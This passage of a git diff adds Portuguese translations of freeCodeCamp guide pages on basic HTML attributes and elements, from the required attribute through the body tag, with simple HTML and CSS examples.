+<!DOCTYPE html> 
+ <html> 
+  <head> 
+    <title>HTML Required Attribute</title> 
+  </head> 
+  <body> 
+    <form action="/"> 
+      Text Field: <input type="text" name="textfield" required> 
+      <input type="submit" value="Submit"> 
+    </form> 
+  </body> 
+ </html> 
+```
+
+Selecione o exemplo:
+
+```html
+
+<form action="/action.php"> 
+ <select required> 
+  <option value="">None</option> 
+  <option value="volvo">Volvo</option> 
+  <option value="saab">Saab</option> 
+  <option value="mercedes">Mercedes</option> 
+  <option value="audi">Audi</option> 
+ </select> 
+ </form> 
+```
+
+Exemplo de área de texto:
+
+```html
+
+<form action="/action.php"> 
+  <textarea name="comment" required></textarea> 
+  <input type="submit"> 
+ </form> 
+```
+
+Basta adicionar `required` a um elemento de entrada
+
+#### Mais Informações:
+
+[Artigo do MDN sobre o elemento de entrada](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/input)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/html/attributes/role-attribute/index.md b/client/src/guide/portuguese/html/attributes/role-attribute/index.md
new file mode 100644
index 0000000000..6f5cb081d5
--- /dev/null
+++ b/client/src/guide/portuguese/html/attributes/role-attribute/index.md
@@ -0,0 +1,25 @@
+---
+title: Role Attribute
+localeTitle: Atributo de Função
+---
+## Atributo de Função
+
+O atributo `role` , descreve o papel de um elemento em programas que podem utilizá-lo, como leitores de tela ou lupas.
+
+Exemplo de uso:
+
+```html
+
+<a href="#" role="button">Button Link</a> 
+```
+
+Os leitores de tela lerão esse elemento como "botão" em vez de "link".
+
+Existem quatro categorias de papéis:
+
+*   Papéis abstratos
+*   Papéis de Widget
+*   Funções da estrutura do documento
+*   Papéis de Marco
+
+Para obter uma lista completa das funções existentes, consulte a [documentação das funções árias](https://www.w3.org/TR/wai-aria/roles) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/html/attributes/script-src-attribute/index.md b/client/src/guide/portuguese/html/attributes/script-src-attribute/index.md
new file mode 100644
index 0000000000..3fca26687b
--- /dev/null
+++ b/client/src/guide/portuguese/html/attributes/script-src-attribute/index.md
@@ -0,0 +1,45 @@
+---
+title: Script Src Attribute
+localeTitle: Atributo Src Script
+---
+## Atributo Src Script
+
+O atributo 'src' em um tag é o caminho para um arquivo ou recurso externo que você deseja vincular ao seu documento HTML.
+
+Por exemplo, se você tivesse seu próprio arquivo JavaScript personalizado chamado 'script.js' e quisesse adicionar sua funcionalidade à sua página HTML, você o adicionaria assim:
+
+```html
+
+<!DOCTYPE html> 
+ <html lang="en"> 
+  <head> 
+    <title>Script Src Attribute Example</title> 
+  </head> 
+  <body> 
+ 
+  <script src="./script.js"></script> 
+  </body> 
+ </html> 
+```
+
+Isso apontaria para um arquivo chamado 'script.js' que está no mesmo diretório que o arquivo .html. Você também pode vincular a outros diretórios usando '..' no caminho do arquivo.
+
+```html
+
+<script src="../public/js/script.js"></script> 
+```
+
+Isso eleva o nível de um diretório para um diretório 'público' e depois para um diretório 'js' e depois para o arquivo 'script.js'.
+
+Você também pode usar o atributo 'src' para vincular a arquivos .js externos hospedados por terceiros. Isso é usado se você não quiser baixar uma cópia local do arquivo. Apenas observe que, se o link mudar ou o acesso à rede estiver inativo, o arquivo externo ao qual você está vinculando não funcionará.
+
+Este exemplo vincula a um arquivo jQuery.
+
+```html
+
+<script src="https://code.jquery.com/jquery-3.2.1.slim.min.js"></script> 
+```
+
+#### Mais Informações:
+
+[Artigo do MDN no HTML](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/script#attr-src) tag</a></p></x-turndown>
\ No newline at end of file
diff --git a/client/src/guide/portuguese/html/attributes/table-border-attribute/index.md b/client/src/guide/portuguese/html/attributes/table-border-attribute/index.md
new file mode 100644
index 0000000000..33f5a3c21d
--- /dev/null
+++ b/client/src/guide/portuguese/html/attributes/table-border-attribute/index.md
@@ -0,0 +1,12 @@
+---
+title: Table Border Attribute
+localeTitle: Atributo de borda da tabela
+---
+## Atributo de borda da tabela
+
+O atributo de borda da tag `<table>` é uma maneira de ordenar uma borda para uma Tabela HTML. Os valores suportados são `0` (sem borda) e `1` (borda). O atributo de borda não é suportado no HTML 5, a versão mais recente do HTML. Recomenda-se usar CSS para adicionar uma borda a uma tabela no HTML 5.
+
+#### Mais Informações:
+
+*   [MDN - referência de atributo HTML](https://developer.mozilla.org/en-US/docs/Web/HTML/Attributes)
+*   [MDN - Borda CSS](https://developer.mozilla.org/en-US/docs/Web/CSS/border)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/html/block-and-inline-elements/index.md b/client/src/guide/portuguese/html/block-and-inline-elements/index.md
new file mode 100644
index 0000000000..f5e7cfd83f
--- /dev/null
+++ b/client/src/guide/portuguese/html/block-and-inline-elements/index.md
@@ -0,0 +1,39 @@
+---
+title: Block and Inline Elements
+localeTitle: Bloquear e Elementos Inline
+---
+## Bloquear e Elementos Inline
+
+Vamos entendê-los usando os exemplos abaixo:
+
+#### Amostra de código com saída:
+
+![Saída de bloco](https://user-images.githubusercontent.com/16048167/31070017-6f2cf0a2-a77c-11e7-9de6-110b9d0b488d.PNG)
+
+#### Elemento de nível de bloco:
+
+Um elemento de nível de bloco ocupa o espaço inteiro do pai (contêiner), como `<div>` e `<p>` no exemplo.
+
+Note que `<div>` e `<p>` começam de uma nova linha a cada vez, formando uma estrutura de **bloco** . Elementos de nível de bloco começam em novas linhas.
+
+**Elementos** comuns **de nível de bloco** são `<div>` , `<p>` , `<article>` , `<section>` , `<figure>` , `<footer>` etc.
+
+#### Elemento Inline:
+
+Inline como o nome diz "incluído como parte do texto principal e não como uma seção separada". Elementos inline ocupam o espaço conforme necessário dentro do espaço definido pelo elemento principal. Ao contrário dos elementos de nível de bloco, eles não iniciam em novas linhas.
+
+Alguns dos **elementos inline** são `<a>` , `<span>` , `<img>` , `<code>` , `<cite>` , `<button>` , `<input>` etc.
+
+#### Amostra de código com saída:
+
+![Saída Inline](https://user-images.githubusercontent.com/16048167/31069389-e1e3fc10-a779-11e7-86d2-6685e0061f52.png)
+
+**_Nota_** : Os elementos no nível do bloco podem conter outros elementos no nível do bloco ou elementos internos. Elementos in-line **não podem** conter elementos no nível do bloco.
+
+#### Alterações no HTML5
+
+Embora uma compreensão dos elementos em bloco e em linha ainda seja relevante, você deve estar ciente de que esses termos foram definidos em versões anteriores da especificação HTML. No HTML5, um conjunto mais complexo de "categorias de conteúdo" substitui os elementos em bloco e inline. Os elementos em nível de bloco são colocados em grande parte na categoria "conteúdo de fluxo" em HTML5, enquanto os elementos em linha correspondem à categoria "conteúdo de frases". Para obter mais informações sobre as novas categorias de conteúdo em HTML5, incluindo conteúdo de fluxo e conteúdo de frases, consulte a [página de categorias de conteúdo na Mozilla Developer Network.](https://developer.mozilla.org/en-US/docs/Web/Guide/HTML/Content_categories)
+
+#### Mais Informações:
+
+Por favor, consulte o [Mozilla Docs](https://developer.mozilla.org/en-US/docs/Web/HTML/Block-level_elements#Block-level_vs._inline)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/html/comments-in-html/index.md b/client/src/guide/portuguese/html/comments-in-html/index.md
new file mode 100644
index 0000000000..3ba8c99b00
--- /dev/null
+++ b/client/src/guide/portuguese/html/comments-in-html/index.md
@@ -0,0 +1,66 @@
+---
+title: Comments in HTML
+localeTitle: Comentários em HTML
+---
+## Comentários em HTML
+
+A tag de comentário é um elemento usado para deixar notas, principalmente relacionadas ao projeto ou ao site. Essa tag é freqüentemente usada para explicar algo no código ou deixar algumas recomendações sobre o projeto. A tag de comentário também torna mais fácil para o desenvolvedor voltar e entender o código que ele escreveu em um estágio posterior. Os comentários também podem ser usados ​​para comentar linhas de código para fins de depuração.
+
+É recomendável adicionar comentários ao seu código, especialmente ao trabalhar com uma equipe ou empresa.
+
+Os comentários são iniciados com `<!--` e terminados com `-->` e podem abranger várias linhas. Eles podem conter código ou texto e não aparecerão no front-end do site quando um usuário visitar uma página. Você pode visualizar comentários por meio do Inspector Console ou exibindo Page Source.
+
+### Exemplo
+
+```html
+
+<!-- You can comment out a large number of lines like this. 
+ Author: xyz 
+ Date: xx/xx/xxxx 
+ Purpose: abc 
+ --> 
+ Read more: https://html.com/tags/comment-tag/#ixzz4vtZHu5uR 
+ <!DOCTYPE html> 
+ <html> 
+    <body> 
+        <h1>FreeCodeCamp web</h1> 
+        <!-- Leave some space between the h1 and the p in order to understand what are we talking about--> 
+        <p>FreeCodeCamp is an open-source project that needs your help</p> 
+            <!-- For readability of code use proper indentation --> 
+    </body> 
+ </html> 
+```
+
+## Comentários condicionais
+
+Os Comentários condicionais definem algumas tags HTML a serem emitidas quando uma determinada codificação é preenchida.
+
+Os comentários condicionais são reconhecidos apenas pela versão 5 do Internet Explorer até a versão 9 - IE5 - IE9.
+
+### Exemplo
+
+```html
+
+<!DOCTYPE html> 
+ <html> 
+    <body> 
+        <!--[if IE 9]> 
+                <h1>FreeCodeCamp web</h1> 
+            <p>FreeCodeCamp is an open-source project that needs your help</p> 
+        <![endif]--> 
+    </body> 
+ </html> 
+```
+
+### Comentários condicionais do IE
+
+Esses comentários estão disponíveis apenas no Internet Explorer e podem ser usados ​​até o IE9. Nos tempos atuais, há uma boa mudança que você nunca verá, mas é bom saber sobre sua existência. Os comentários condicionais são uma maneira de oferecer uma experiência diferente para diferentes navegadores de clientes. Por exemplo:
+
+```html
+
+<!--[if lt IE 9]> <p>Your browser is lower then IE9</p> <![endif]--> 
+ <!--[if IE 9]> <p>Your browser is IE9</p> <![endif]--> 
+ <!--[if gt IE 9]> <p>Your browser is greater then IE9</p> <![endif]--> 
+```
+
+[Sobre comentários condicionais](https://msdn.microsoft.com/en-us/library/ms537512(v=vs.85).aspx)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/html/css-classes/index.md b/client/src/guide/portuguese/html/css-classes/index.md
new file mode 100644
index 0000000000..af50e531f6
--- /dev/null
+++ b/client/src/guide/portuguese/html/css-classes/index.md
@@ -0,0 +1,68 @@
+---
+title: CSS Classes
+localeTitle: Classes CSS
+---
+## Classes CSS
+
+Classes são uma maneira eficiente de agrupar elementos HTML para que eles possam compartilhar os mesmos estilos. As classes CSS (Cascading Style Sheets) podem ser usadas para organizar e decorar elementos de páginas da web.
+
+Ao escrever HTML, você pode adicionar classes a um elemento. Basta adicionar o atributo `class="myclass"` ao elemento. Vários elementos podem ter a mesma classe e um elemento pode ter várias classes. Você pode atribuir várias classes a um elemento adicionando todos os nomes de classes desejados separados por um espaço ao atributo de `class` em HTML.
+
+```html
+
+<h1 class="super-man other-class third-class">"Here I come to save the day!"</h1> 
+ <p>is a popular catchphrase that <span class="super-man">Super Man</span> often said.</p> 
+```
+
+Você pode, então, estilizar esses elementos com CSS. As classes são referenciadas com o período (.) Antes delas no CSS, mas você não deve colocar pontos no seu HTML.
+
+```css
+.super-man { 
+  color: red; 
+  background-color: blue; 
+ } 
+```
+
+Este código dão um fundo azul e uma cor de texto vermelho para todos os elementos que têm o `super-man` de classe. [Veja este exemplo no CodePen](https://codepen.io/Tlandis/pen/RLvomV) .
+
+Você também pode declarar mais de uma classe para seu elemento, como:
+
+```html
+
+<div class="ironMan alfred"> 
+ We're going to save you. 
+ </div> 
+```
+
+Então no seu arquivo css:
+
+```css
+.ironMan{ 
+ color:red; 
+ } 
+ 
+ .alfred{ 
+ background-color: black; 
+ } 
+```
+
+**Nota:** nomes de classes são tradicionalmente todos minúsculos, com cada palavra em um nome de classe com várias palavras separadas por hífens (por exemplo, "super-homem").
+
+Você também pode combinar classes na mesma linha:
+
+```css
+.superMan .spiderMan { 
+ color: red; 
+ background-color: blue; 
+ } 
+```
+
+Você pode ver o resultado do código acima [aqui](https://codepen.io/Tlandis/pen/RLvomV) . Aprenda como combinar classes css usando seletores [aqui](https://www.w3schools.com/css/css_combinators.asp) .
+
+#### Mais Informações:
+
+*   [Seletor de Classe CSS, w3 schools](https://www.w3schools.com/cssref/sel_class.asp)
+*   [Classes HTML, w3 Escolas](https://www.w3schools.com/html/html_classes.asp)
+*   [truques css](https://css-tricks.com/how-css-selectors-work/)
+*   [Como codificar em HTML5 e CSS3](http://howtocodeinhtml.com/chapter7.html)
+*   [MDN](https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/class)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/html/doctype-declaration/index.md b/client/src/guide/portuguese/html/doctype-declaration/index.md
new file mode 100644
index 0000000000..d38d5c9fa6
--- /dev/null
+++ b/client/src/guide/portuguese/html/doctype-declaration/index.md
@@ -0,0 +1,75 @@
+---
+title: Doctype Declaration
+localeTitle: Declaração do Doctype
+---
+## Declaração do Doctype
+
+A declaração de tipo de documento HTML, também conhecida como `DOCTYPE` , é a primeira linha de código necessária em todos os documentos HTML ou XHTML. A declaração `DOCTYPE` é uma instrução para o navegador da Web sobre qual versão do HTML a página está escrita. Isso garante que a página da web seja analisada da mesma maneira por diferentes navegadores da web.
+
+No HTML 4.01, a declaração `DOCTYPE` refere-se a uma definição de tipo de documento (DTD). Um DTD define a estrutura e os elementos legais de um documento XML. Como o HTML 4.01 foi baseado no SGML (Standard Generalized Markup Language), era necessário referir-se a um DTD na declaração `DOCTYPE` .
+
+Além disso, doctypes para HTML 4.01 exigiam a declaração de DTD `strict` , `transitional` ou de `frameset` , cada um com um caso de uso diferente, conforme descrito abaixo.
+
+*   **DTD Estrito** : Usado para páginas da web que _excluem_ atributos e elementos que o W3C espera eliminar enquanto o suporte a CSS cresce
+*   **DTD transitório** : usado para páginas da Web que _incluem_ atributos e elementos que o W3C espera eliminar enquanto o suporte CSS cresce
+*   **DTD Frameset** : usado para páginas da Web com quadros
+
+Em contraste, a declaração de `DOCTYPE` HTML5 é muito mais simples: ela não requer mais uma referência a DTDs, pois não é mais baseada em SGML. Veja os exemplos abaixo para uma comparação entre HTML 4.01 e HTML5 `DOCTYPE` s.
+
+### Exemplos
+
+Sintaxe do tipo de documento para HTML5 e além:
+
+```html
+
+<!DOCTYPE html> 
+```
+
+Sintaxe do tipo de documento para HTML 4.01 estrito:
+
+```html
+
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> 
+```
+
+Sintaxe do tipo de documento para o HTML 4.01 transicional:
+
+```html
+
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> 
+```
+
+Sintaxe do tipo de documento para o conjunto de quadros HTML 4.01:
+
+```html
+
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Frameset//EN" "http://www.w3.org/TR/html4/frameset.dtd"> 
+```
+
+## História
+
+Durante os anos de formação do HTML, os padrões da Web não foram acordados ainda. Os fornecedores de navegadores criariam novos recursos da maneira que quisessem. Havia pouca preocupação com navegadores concorrentes. O resultado foi que os desenvolvedores da Web tiveram que escolher um navegador para desenvolver seus sites. Isso significa que os sites não renderizam bem em navegadores sem suporte. Essa situação não poderia continuar.
+
+O W3C (World Wide Web Consortium) escreveu um conjunto de padrões da web para lidar com essa situação. Todos os fornecedores de navegadores e desenvolvedores da Web devem aderir a esses padrões. Isso garantiria que os sites fiquem bem em todos os navegadores. As mudanças exigidas pelos padrões foram bastante diferentes de algumas práticas existentes. Aderir a eles quebraria sites existentes não compatíveis com os padrões.
+
+Para lidar com esse problema, os fornecedores começaram a programar modos de renderização em seus navegadores. Os desenvolvedores da Web precisariam adicionar uma declaração de tipo de documento ao topo de um documento HTML. A declaração doctype diria ao navegador qual modo de renderização deve ser usado para esse documento. Três modos de renderização separados estavam geralmente disponíveis nos navegadores. **O modo de padrões completos** renderiza páginas de acordo com os padrões da Web do W3C. **O modo Quirks** processa páginas de maneira não compatível com os padrões. **O modo de padrões quase** está próximo do modo de padrões completos, mas oferece suporte a um pequeno número de peculiaridades.
+
+Na era moderna do HTML5, os padrões da web são totalmente implementados em todos os principais navegadores. Os sites da Web geralmente são desenvolvidos de maneira compatível com os padrões. Por causa disso, a declaração de tipo de documento HTML5 existe apenas para informar ao navegador para renderizar o documento no modo de padrões completos.
+
+## Uso
+
+A Declaração do Doctype deve ser a primeira linha de código em um documento HTML, além de comentários, que podem ser enviados antes, se necessário. Para documentos HTML5 modernos, a declaração do tipo de documento deve ser a seguinte:
+
+`<!DOCTYPE html>`
+
+#### Mais Informações:
+
+Apesar de não estar mais em uso geral, há vários outros tipos de declaração de tipo de documento de versões anteriores do HTML. Existem também versões específicas para documentos XML. Para ler mais sobre isso e ver exemplos de código para cada um, dê uma olhada no [artigo](https://en.wikipedia.org/wiki/Document_type_declaration) da [Wikipedia](https://en.wikipedia.org/wiki/Document_type_declaration) .
+
+[Uma nota do W3](https://www.w3.org/QA/Tips/Doctype)
+
+[Entrada do glossário MDN](https://developer.mozilla.org/en-US/docs/Glossary/Doctype)
+
+[W3Schools](https://www.w3schools.com/tags/tag_doctype.asp)
+
+[Uma explicação rápida de "Quirks Mode" e "Standards Mode"](https://developer.mozilla.org/en-US/docs/Quirks_Mode_and_Standards_Mode)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/html/elements/a-tag/index.md b/client/src/guide/portuguese/html/elements/a-tag/index.md
new file mode 100644
index 0000000000..125080a914
--- /dev/null
+++ b/client/src/guide/portuguese/html/elements/a-tag/index.md
@@ -0,0 +1,46 @@
+---
+title: A Tag
+localeTitle: Um dia
+---
+## Uma etiqueta
+
+A tag `<a>` ou elemento de _âncora_ cria um hiperlink para outra página ou arquivo. Para vincular a uma página ou arquivo diferente, a tag `<a>` também deve conter um atributo `href` , que indica o destino do link.
+
+O texto entre as tags `<a>` abertura e fechamento se torna o link.
+
+Por padrão, uma página vinculada é exibida na janela atual do navegador, a menos que outro destino seja especificado.
+
+#### Exemplo:
+
+```html
+
+  <a href= "https://guide.freecodecamp.org/">freeCodeCamp</a> 
+```
+
+Uma imagem também pode ser transformada em um link, colocando a tag `<img>` em uma tag `<a>` .
+
+#### Exemplo:
+
+```html
+
+  <a href= "https://guide.freecodecamp.org/"><img src="logo.svg"></a> 
+```
+
+Também é possível determinar o alvo da tag `<a>` . Isso é feito usando o atributo de `target` . O atributo `target` possui os seguintes valores disponíveis `_blank|_self|_parent|_top|framename` .
+
+`_blank` : abre o link em uma nova guia ou em uma nova janela, dependendo das preferências do usuário. `_self` : Abre o link no mesmo frame (comportamento padrão). `_parent` : abre o link no frame pai, por exemplo, quando o usuário clica em um link em um iframe. `_top` : abre o link no corpo inteiro da janela. `framename` : Abre o link no quadro especificado.
+
+#### Exemplo:
+
+```html
+
+  <a href= "https://guide.freecodecamp.org/" target="_blank">freeCodeCamp</a> 
+```
+
+[freeCodeCamp](https://guide.freecodecamp.org/) Esse link é criado da mesma maneira que o bloco de código de exemplo sugere. Clique para ver como funciona.
+
+#### Mais Informações:
+
+*   [O elemento HTML <a>: MDN](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/a)
+*   [Uma tag: w3schools](https://www.w3schools.com/tags/tag_a.asp)
+*   [Uma tag: htmlreference.io](http://htmlreference.io/element/a/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/html/elements/abbr-tag/index.md b/client/src/guide/portuguese/html/elements/abbr-tag/index.md
new file mode 100644
index 0000000000..4e5930a96b
--- /dev/null
+++ b/client/src/guide/portuguese/html/elements/abbr-tag/index.md
@@ -0,0 +1,19 @@
+---
+title: Abbr Tag
+localeTitle: Abbr Tag
+---
+## Abbr Tag
+
+A tag `<abbr>` significa 'abreviação'. Pode levar atributo de `title` , para explicar a abreviação.
+
+Exemplo de uso:
+
+```html
+
+<abbr title="Free Code Camp">FCC</abbr> 
+```
+
+#### Mais Informações:
+
+*   [O elemento HTML <abbr>: MDN](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/abbr)
+*   [Formatação Avançada de Texto: Abreviaturas](https://developer.mozilla.org/en-US/docs/Learn/HTML/Introduction_to_HTML/Advanced_text_formatting#Abbreviations)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/html/elements/address-tag/index.md b/client/src/guide/portuguese/html/elements/address-tag/index.md
new file mode 100644
index 0000000000..e82cb88109
--- /dev/null
+++ b/client/src/guide/portuguese/html/elements/address-tag/index.md
@@ -0,0 +1,36 @@
+---
+title: Address Tag
+localeTitle: Tag de endereço
+---
+## Tag de endereço
+
+Os controles de formulário do Bootstrap expandem nossos estilos de formulário Rebooted com classes. Use essas classes para ativar suas exibições personalizadas para obter uma renderização mais consistente em navegadores e dispositivos.
+
+Certifique-se de usar um atributo de tipo apropriado em todas as entradas (por exemplo, email para endereço de email ou número de informações numéricas) para aproveitar os controles de entrada mais recentes, como verificação de email, seleção de números e muito mais.
+
+Aqui está um exemplo rápido para demonstrar os estilos de formulário do Bootstrap. Continue lendo para obter documentação sobre as classes necessárias, o layout do formulário e muito mais.
+
+#### Uso
+
+```html
+
+<form> 
+  <div class="form-group"> 
+    <label for="exampleInputEmail1">Email address</label> 
+    <input type="email" class="form-control" id="exampleInputEmail1" aria-describedby="emailHelp" placeholder="Enter email"> 
+    <small id="emailHelp" class="form-text text-muted">We'll never share your email with anyone else.</small> 
+  </div> 
+  <div class="form-group"> 
+    <label for="exampleInputPassword1">Password</label> 
+    <input type="password" class="form-control" id="exampleInputPassword1" placeholder="Password"> 
+  </div> 
+  <div class="form-check"> 
+    <label class="form-check-label"> 
+      <input type="checkbox" class="form-check-input"> 
+      Check me out 
+    </label> 
+  </div> 
+  <button type="submit" class="btn btn-primary">Submit</button> 
+ </form> 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/html/elements/area-tag/index.md b/client/src/guide/portuguese/html/elements/area-tag/index.md
new file mode 100644
index 0000000000..be36afd8b0
--- /dev/null
+++ b/client/src/guide/portuguese/html/elements/area-tag/index.md
@@ -0,0 +1,11 @@
+---
+title: Area Tag
+localeTitle: Tag de área
+---
+## Tag de área
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/html/elements/area-tag/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/html/elements/article-tag/index.md b/client/src/guide/portuguese/html/elements/article-tag/index.md
new file mode 100644
index 0000000000..d7fdafafb8
--- /dev/null
+++ b/client/src/guide/portuguese/html/elements/article-tag/index.md
@@ -0,0 +1,27 @@
+---
+title: Article Tag
+localeTitle: Tag de Artigo
+---
+## Tag de Artigo
+
+A tag `<article>` representa conteúdo independente em um documento. O artigo deve ser independente do resto da página, destinado a ser distribuível e reutilizável.
+
+A tag `<article>` foi adicionada em HTML5 e é suportada pelos principais navegadores.
+
+### Exemplo
+
+Aqui está um exemplo de como usar a tag de artigo na página da Web:
+
+```html
+
+<article> 
+  <h1>FreeCodeCamp</h1> 
+  <p> 
+    Learn to code with a community of programmers and contribute to open source projects. 
+  </p> 
+ </article> 
+```
+
+#### Mais Informações:
+
+[MDN](https://developer.mozilla.org/tr/docs/Web/HTML/Element/article)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/html/elements/aside-tag/index.md b/client/src/guide/portuguese/html/elements/aside-tag/index.md
new file mode 100644
index 0000000000..a8b362bd19
--- /dev/null
+++ b/client/src/guide/portuguese/html/elements/aside-tag/index.md
@@ -0,0 +1,11 @@
+---
+title: Aside Tag
+localeTitle: Além de Tag
+---
+## Além de Tag
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/html/elements/aside-tag/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/html/elements/audio-tag/index.md b/client/src/guide/portuguese/html/elements/audio-tag/index.md
new file mode 100644
index 0000000000..782335a4c7
--- /dev/null
+++ b/client/src/guide/portuguese/html/elements/audio-tag/index.md
@@ -0,0 +1,53 @@
+---
+title: Audio Tag
+localeTitle: Tag de áudio
+---
+## Tag de áudio
+
+A tag < **_audio_** > define um elemento de áudio, que pode ser usado para adicionar recurso de mídia de áudio a um documento HTML que será reproduzido pelo suporte nativo para reprodução de áudio incorporada no navegador, em vez de um plug-in do navegador.
+
+A tag de áudio atualmente suporta três formatos de arquivo OGG, MP3 e WAV, que podem ser adicionados ao seu html da seguinte forma.
+
+##### Adicionando um OGG
+```
+<audio controls> 
+  <source src="file.ogg" type="audio/ogg"> 
+ </audio> 
+```
+
+##### Adicionando um MP3
+```
+<audio controls> 
+  <source src="file.mp3" type="audio/mpeg"> 
+ </audio> 
+```
+
+##### Adicionando um WAV
+```
+<audio controls> 
+  <source src="file.wav" type="audio/wav"> 
+ </audio> 
+```
+
+Pode conter uma ou mais fontes de áudio, representadas usando o atributo src ou o elemento de origem.
+
+##### Adicionando vários arquivos de áudio
+```
+<audio controls> 
+  <source src="file-1.wav" type="audio/wav"> 
+  <source src="file-2.ogg" type="audio/ogg"> 
+  <source src="file-3.mp3" type="audio/mpeg"> 
+ </audio> 
+```
+
+#### Suporte do navegador para diferentes tipos de arquivos é o seguinte
+
+| Navegador | Mp3 | Wav | Ogg | |: -------: |: ---: |: ---: |: ---: | Internet Explorer | Sim | Não | Não | Google Chrome | Sim | Sim | Sim | Mozilla Firefox | Sim | Sim | Sim | | Safari | Sim | Sim | Não | | Opera | Sim | Sim | sim
+
+### Atributos Suportados
+
+| Atributo | Valor | Descrição | |: -------: |: ---: |: ---: | | autoplay | autoplay | O áudio começará a ser reproduzido assim que estiver pronto | | controls | controls | audio será exibido (como um botão play / pause etc) | | loop | loop | o áudio recomeçará, sempre que terminar | | silenciado | silenciado | a saída de áudio será silenciada | | src | URL | Especifica o URL do arquivo de áudio |
+
+#### Mais Informações:
+
+[https://www.w3schools.com/tags/tag\_audio.asp](https://www.w3schools.com/tags/tag_audio.asp) [https://html.com/tags/audio/](https://html.com/tags/audio/) [https://html.com/tags/audio/#ixzz5Sg4QbtH8](https://html.com/tags/audio/#ixzz5Sg4QbtH8)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/html/elements/b-tag/index.md b/client/src/guide/portuguese/html/elements/b-tag/index.md
new file mode 100644
index 0000000000..cd0935c870
--- /dev/null
+++ b/client/src/guide/portuguese/html/elements/b-tag/index.md
@@ -0,0 +1,24 @@
+---
+title: B Tag
+localeTitle: Dia B
+---
+## Tag B
+
+A tag `<b>` é usada para especificar texto em negrito, sem transmitir qualquer importância ou relevância especial. Ao negrito de texto de importância ou relevância especial, é recomendável usar a tag `<strong>` .
+
+### Exemplo:
+
+```html
+
+<b>This text is bold</b> 
+```
+
+Isso apareceria como:
+
+**Este texto é ousado**
+
+#### Mais Informações:
+
+1.  [w3schools](https://www.w3schools.com/tags/tag_b.asp "<b> Tag: w3schools")  
+    
+2.  [MDN](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/b)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/html/elements/base-tag/index.md b/client/src/guide/portuguese/html/elements/base-tag/index.md
new file mode 100644
index 0000000000..ef8e43e6e8
--- /dev/null
+++ b/client/src/guide/portuguese/html/elements/base-tag/index.md
@@ -0,0 +1,11 @@
+---
+title: Base Tag
+localeTitle: Tag Base
+---
+## Tag Base
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/html/elements/base-tag/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/html/elements/blockquote-tag/index.md b/client/src/guide/portuguese/html/elements/blockquote-tag/index.md
new file mode 100644
index 0000000000..ffc83acf1f
--- /dev/null
+++ b/client/src/guide/portuguese/html/elements/blockquote-tag/index.md
@@ -0,0 +1,29 @@
+---
+title: Blockquote Tag
+localeTitle: Tag Blockquote
+---
+## Tag Blockquote
+
+### Propósito
+
+O elemento HTML `<blockquote>` uma cotação do conteúdo ao redor. Isso permite ao leitor ver claramente a citação como material atribuído ao seu autor original.
+
+### Uso
+
+Assim como as tags "H" enviam sinais para um leitor de que a informação é importante, o blockquote alerta o leitor de que as informações que estão lendo são de uma fonte externa. A tag `<blockquote>` pode incluir Um URL para a origem da cotação pode ser dado usando o atributo cite, enquanto uma representação de texto da origem pode ser dada usando o elemento `<cite>` .
+
+### Exemplo
+
+```html
+
+<blockquote cite="https://www.cnet.com/news/tim-cook-maintains-steve-jobs-beatles-business-model/"> 
+ “My model for business is The Beatles. They were four guys who kept each other's kind of negative tendencies in check. 
+ They balanced each other and the total was greater than the sum of the parts. 
+ That's how I see business: great things in business are never done by one person, they're done by a team of people.” 
+ </blockquote> 
+ <cite>Steve Jobs</cite> 
+```
+
+#### Mais Informações:
+
+[blockquote MDN](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/blockquote)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/html/elements/body-tag/index.md b/client/src/guide/portuguese/html/elements/body-tag/index.md
new file mode 100644
index 0000000000..d92ae17d88
--- /dev/null
+++ b/client/src/guide/portuguese/html/elements/body-tag/index.md
@@ -0,0 +1,25 @@
+---
+title: Body Tag
+localeTitle: Dia do corpo
+---
+## Tag do corpo
+
+A tag `<body>` contém o conteúdo de uma página da web. Junto com `<head>` , é um dos dois elementos necessários de um documento HTML. `<body>` deve ser o segundo filho de um elemento `<html>` . Só pode haver um elemento `<body>` em uma página.
+
